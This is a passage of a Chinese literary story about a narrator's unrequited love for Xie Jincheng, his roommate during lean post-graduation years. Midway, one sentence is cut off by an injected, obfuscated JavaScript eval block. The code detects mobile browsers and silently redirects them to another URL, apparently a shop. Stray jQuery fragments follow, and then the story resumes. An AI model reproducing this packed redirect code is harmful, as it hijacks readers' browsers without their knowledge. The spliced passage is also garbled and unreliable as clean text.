记忆的质感通常是潮湿的。


    不像谢金城现在那套大平层里，恒温恒湿系统制造出的那种干燥、精英式的体面。那三两年的记忆，像是一块吸饱了脏水的海绵，稍微一用力挤压，就会流出浑浊的、带着铁锈味的液体。


    那是在五环外，一个被城市规划遗忘的老旧小区。六楼，没有电梯。楼道里的声控灯常年是坏的，每一次上楼都需要用力跺脚，像是在向这座沉默的建筑宣示某种无力的愤怒。


    我们合租的房子只有四十平米。墙皮因为受潮而剥落，露出里面灰败的水泥，像是一种久治不愈的皮肤病。


    那时候我们刚毕业，穷得坦荡，也穷得惊心动魄。贫穷是一种极好的防腐剂，它暂时封存了阶级，也模糊了性别的边界。因为在生存这个巨大的命题面前，所谓的性取向，就像是肚子饿时讨论吃法餐还是日料一样，是一种极其奢侈的矫情。


    那一年的冬天特别冷。老小区的暖气管道老化，屋里的温度常年徘徊在一种让人绝望的低值。


    为了省电费，我们约定不开电暖气。两个大男人，挤在一张一米五的单人床上。


    那种拥抱没有任何情色的意味，纯粹是两个恒温动物在极端环境下的抱团取暖。他的后背贴着我的前胸，脊椎骨凸起，硌得我生疼。我能感觉到他的体温，那是年轻雄性特有的、像火炉一样旺盛却又被现实压抑的体温。


    我们就像两只被困在罐头里的沙丁鱼，浸泡在廉价的黑暗里。


    “知序，睡了吗？”


    黑暗中，谢金城的声音传来，带着鼻音。


    “没。”我盯着天花板上那块像地图一样的霉斑。月光透进来，那块霉斑看起来像是一张扭曲的人脸。


    “你说，咱们这日子什么时候是个头？”他翻了个身，面对着我。


    他的呼吸喷在我的脸上，带着廉价牙膏的薄荷味，和一点点胃里反上来的酸气——那是晚餐吃多了打折泡面的后遗症。这种味道并不好闻，但在那个寒冷的冬夜，它构成了我生命中唯一的热源。


    “快了。”我把被子往他那边掖了掖，“等你拿到那个大厂的offer，咱们就搬出去。”


    “我有时候在想……”他的声音突然低了下去，手在被窝里摸索着，抓住了我的手腕。


    他的手心全是汗，湿热，黏腻。


    “想什么？”


    “想如果你也是个女的就好了。”他笑了一声，那笑声里带着一种孩童般的残忍，“或者我是个女的。咱俩就在这破房子里过一辈子，也挺好。”


    我浑身僵硬。


    那是一个极其危险的瞬间。在这四十平米的真空里，社会规则暂时失效了，荷尔蒙和绝望混合在一起，发酵出一种名为“私奔”的幻觉。


    那一刻，我几乎要脱口而出：“男的也没关系，我们可以过。”


    但我没有。


    我的目光越过他的肩膀，看到了窗户上凝结的冰花，那是室内外温差对抗后的尸体。还有角落里那个接漏水的塑料盆，正发出“滴答、滴答”的死板声响。


    这就是现实的节拍器。


    它在提醒我：这种所谓的“过一辈子”，不是浪漫，是发烂。


    如果我们就在这里沉沦，那么这段感情最终会像墙角的霉菌一样，在贫穷和琐碎中疯狂滋长，然后发黑、腐烂，最后把我们两个人都变成散发着霉味的中年失败者。


    他是要飞去金山插旗的人，不能烂在我的泥沼里。


    “别说疯话。”我抽回手，转过身背对着他，声音冷硬得像窗外的冰凌，“赶紧睡。明天还得早起挤地铁。”


    身后传来一声长长的叹息。那叹息声很重，像是某种重物落地的声音。


    第二天，谢金城发烧了。


    三十九度八。他烧得浑身滚烫，缩在被子里像只煮熟的虾米。


    我不舍得打车，背着他下了六楼，去社区诊所输液。


    那天风很大，像刀子一样割在脸上。谢金城趴在我的背上，意识模糊地哼唧着。他的重量压弯了我的脊梁，但我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088256|195404||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    却感到一种前所未有的踏实。


    仿佛我背着的不是一个人，而是我的全部身家性命，是我在这个庞大、冷漠的城市里唯一的锚点。


    在诊所输液的时候，他醒了一会儿。


    头顶的白炽灯晃眼，输液管里的药水一滴一滴地流进他的血管。


    “知序。”他声音嘶哑，眼睛直勾勾地盯着我，“我梦见咱们老了。”


    “嗯。”我用棉签沾了水，润湿他干裂的嘴唇，“老了什么样？”


    “老了还在一起。”他费力地扯出一个笑，“你还是这么抠门，连打车都不舍得。”


    我鼻子一酸，差点在那惨白的灯光下掉下泪来。


    “那是因为你太重了。”我骂他，“死沉死沉的，压得我喘不过气。”


    其实我不怕重。


    我怕的是，这短暂的重量，是我余生唯一能拥有的实体。


    那三两年，就像是一个巨大的、廉价的真空包装袋。它抽干了外界的氧气，把我们紧紧地压缩在一起。我们在这个真空中共享体温、共享贫穷、共享对未来的恐惧。


    我们以为那是爱。


    或者说，我以为那是爱。而他以为那是相依为命的义气。


    但真空是会漏气的。


    当那个猎头电话打进来，当第一笔年终奖到账，当他第一次换上剪裁得体的西装站在镜子前时——


    噗嗤一声。


    现实的空气涌了进来。那个发霉的真空环境瞬间瓦解。


    他重新变回了那个光芒万丈的谢金城，那个属于CBD、属于头等舱、属于正确人生的谢金城。


    而我，还留在那个充满了霉味和湿气的旧梦里，手里拿着一张已经过期的、关于“一辈子”的空头支票。


    那三两年的账单，我一个人付了。


    用我的整个青春，和余生所有的爱意，去支付那个漏雨的夜晚，他那一句不做数的“在一起”。


    这笔买卖，真他妈亏。


    但我居然，甘之如飴。